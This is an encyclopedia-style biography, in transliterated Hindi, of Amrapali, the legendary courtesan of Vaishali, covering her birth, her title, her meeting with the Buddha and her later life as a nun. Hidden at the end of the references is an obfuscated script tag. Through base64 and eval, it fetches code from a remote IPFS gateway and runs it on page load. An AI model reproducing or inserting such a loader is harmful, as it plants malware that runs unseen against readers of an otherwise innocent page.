आम्रपाली
amrapali
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| poora nam | amrapali |
| janm | lagabhag 25 sau varsh poorv |
| janm bhoomi | vaishali |
| upadhi | amrapali ko sarvashreshth suandari ghoshit kar 'nagaravadhu' ya 'janapad kalyani' ki upadhi di gee thi. |
| prasiddhi | sarvashreshth sundari tatha rajanartaki |
| vishesh | amrapali ne buddh ko amantran dekar unhean snehapoorvak bhojan karaya tha aur apana mahal tatha amoan ka bag bauddh sangh ke lie dan kar diya tha. |
| any janakari | amrapali ko dekhakar buddh ko apane shishyoan se kahana p da tha ki- "tum log apani aankhean band kar lo...." kyoanki bhagavan buddh janate the ki amrapali ke sauandary ko dekhakar unake shishyoan ke lie santulan rakhana kathin ho jaega. |
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amrapali raja chetak ke samay mean vaishali ki sundaratam tatha khyatiprapt rajanartaki thi. gautam buddh ke vaishali padharane par amrapali ne unhean apane yahaan bhojan karane ke lie amatrit kiya tha aur bhagavan buddh ke pahuanchane par unhean bhojan karaya tha. usane apane mahal aur amrakanan[1] ko sangh ke lie dan mean diya tatha vahaan 'vihar' ka nirman karane ka agrah kiya. amrapali deshabhakti ki pariksha mean bhi khari utari thi. ajatashatru se prem hone ke bavajood deshaprem ki khatir ajatashatru ke anugrah ko asvikar kar usane apane prem ki ahooti dena svikar kiya, parantu apane desh aur raja se vishvasaghat karane se inakar kar diya.
janm
itihasakaroan ke anusar apane sauandary ki takat se kee samrajy ko mita dene vali amrapali ka janm lagabhag 25 sau varsh poorv prachin bharat ke vaibhavashali nagar vaishali mean hua tha. aitihasik kathaoan ke anusar amrapali vaishali ganatantr ke 'mahanaman' namak ek samant ko am ke vriksh ke niche mili thi, jisaki vajah se usaka nam 'amrapali' rakha gaya tha. amrapali ke jaivik mata-pita ki janakari prapt nahian hai. vah samant rajaseva se tyag patr dekar amrapali ko puratatvik vaishali ke nikat aj ke aanbara gram chala aya tha. jab amrapali ki umr karib 11 varsh huee to samant use lekar phir vaishali laut aya.
sarvashreshth suandari
itihasakar manate haian ki matr 11 varsh ki chhoti-si umr mean hi amrapali ko sarvashreshth suandari ghoshit kar 'nagaravadhu' ya 'janapad kalyani' bana diya gaya tha. isake bad ganatantr vaishali ke qanoon ke tahat amrapali ko rajanartaki banana p da. prasiddh chini yatri fahyan aur hvenasaang ke yatra vritaantoan mean bhi vaishali ganatantr aur amrapali par vistrit prakash dala gaya hai. donoan ne lagabhag ekamat se amrapali ko sauandary ki moorti bataya hai. vaishali ganatantr ke qanoon ke anusar hazaroan suandariyoan mean amrapali ka chunav kar use sarvashreshth suandari ghoshit kar 'janapad kalyani' ki padavi di gee thi.[2]
buddh se bheant
amrapali ke roop ki charcha jagath prasiddh thi aur us samay usaki ek jhalak pane ke lie sudoor deshoan ke anek rajakumar usake mahal ke charoan or apani chhavani dale rahate the. vaishali mean gautam buddh ke pratham padarpan par unaki kirti sunakar amrapali unake svagat ke lie solah shrriangar kar apani paricharikaoan sahit gandak nadi ki tir par pahuanchi. amrapali ko dekhakar buddh ko apane shishyoan se kahana p da ki- "tum log apani aankhean band kar lo...." kyoanki bhagavan buddh janate the ki amrapali ke sauandary ko dekhakar unake shishyoan ke lie santulan rakhana kathin ho jaega. buddh ne amrapali ko "arya aanba" kahakar sanbodhit kiya tatha usaka atithy grahan kiya.
bianbasar tatha amrapali
bianbasar ne amrapali ko pane ke lie vaishali par jab akraman kiya, tab sanyogavash usaki pahali mulakat amrapali se hi huee. vah amrapali ke roop-sauandary par mugdh ho gaya. mana jata hai ki amrapali se prerit hokar bianbasar ne apane rajadarabar mean rajanartaki ke pratha ki shuruat ki thi. bianbasar ko amrapali se ek putr bhi hua tha, jo bad mean bauddh bhikshu ban gaya tha.
bhikshuni jivan
bauddh dharm mean bhagavan buddh aur unake shishyoan ko nimantrit kar bhojan karane ke bad dakshina ke roop mean amrapali dvara amrakanan bheant dene ki b di khyati hai. is ghatana ke bad hi buddh ne striyoan ko bauddh sangh mean pravesh ki anumati di thi. isase pahale dhamm sangh mean bhikshuniyaan nahian li jati thian. 'yashodhara' ko bhi buddh ne bhikshuni banane se inkar kar diya tha, kiantu amrapali ki shraddha, bhakti aur man ki virakti se prabhavit hokar nariyoan ko bhi unhoanne sangh mean pravesh ka adhikar pradan kiya. amrapali isake bad samany bauddh bhikshuni ban gee aur vaishali ke hit ke lie usane anek kary kie. usane kesh kata kar bhiksha patr lekar samany bhikshuni ka jivan vyatit kiya.[2]
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tika tippani aur sandarbh
- ↑ am ka bag
- ↑ 2.0 2.1 bauddh bhikshuni amrapali (hindi) vebaduniya.k aaum. abhigaman tithi: 08 disambar, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
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